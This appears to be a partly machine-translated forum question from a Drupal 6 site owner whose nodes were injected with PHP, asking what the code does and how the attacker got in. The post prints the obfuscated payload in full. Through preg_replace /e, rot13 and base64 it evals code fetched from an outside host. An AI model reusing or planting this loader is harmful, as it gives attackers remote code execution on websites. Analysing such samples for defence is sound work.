Drupal 6 SQL PHP enjeksiyon saldırısı

0 Cevap php

Bugün, benim drupal 6 sitedeki tüm düğümler bu ekledi php komut dosyası ile çıktı

 ?php $node->nid = 849;
     preg_replace('/^(.'.'*'.')$/'.'e', preg_replace('/^(.'.'*'.')$/'.'e', 'str'.'_'.'rot'.(27-14).'(\'\1\')', 'riny(onfr'.(12*3+4*7).'_qrpbqr(\\'.(2/2).'))'), 'aWYoIWZ1bmN0aW9uX2V4aXN0cygnbm9kZV91cGRhdGVfbG9nJykpQGV2YWwoQGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwOi8vc3NlZHJ1cC5vcmcvYXQvcl9pbmMucGhwJykpOwppZihmdW5jdGlvbl9leGlzdHMoJ25vZGVfdXBkYXRlX2xvZycpKW5vZGVfdXBkYXRlX2xvZygkbm9kZSk7');

    if(@$node->body):
    ?php echo @$node->title;?
    ?php echo @$node->body;?
    ?php else:?

    ... here would go the original text of the node

    ?php endif;?

(Eminim doğru php kodunu okuyabilir hale getirmek için bazı semboller kaldırdık)

Yani, ben bu birilerinin drupal tablolarda bilgilerinizi güncellemek ve bu php komut dosyası enjekte etmek mümkün olduğu anlamına geliyor.

1 - What is this PHP code doing (if anything)? (of course apart from preventing the visualization of the node content)
2 - Any idea of how did they manage to do this? Is a Drupal security leak? a Mysql one? 3 - I guess the only way to reinstaurate this is by completely restoring the database...

0 Cevap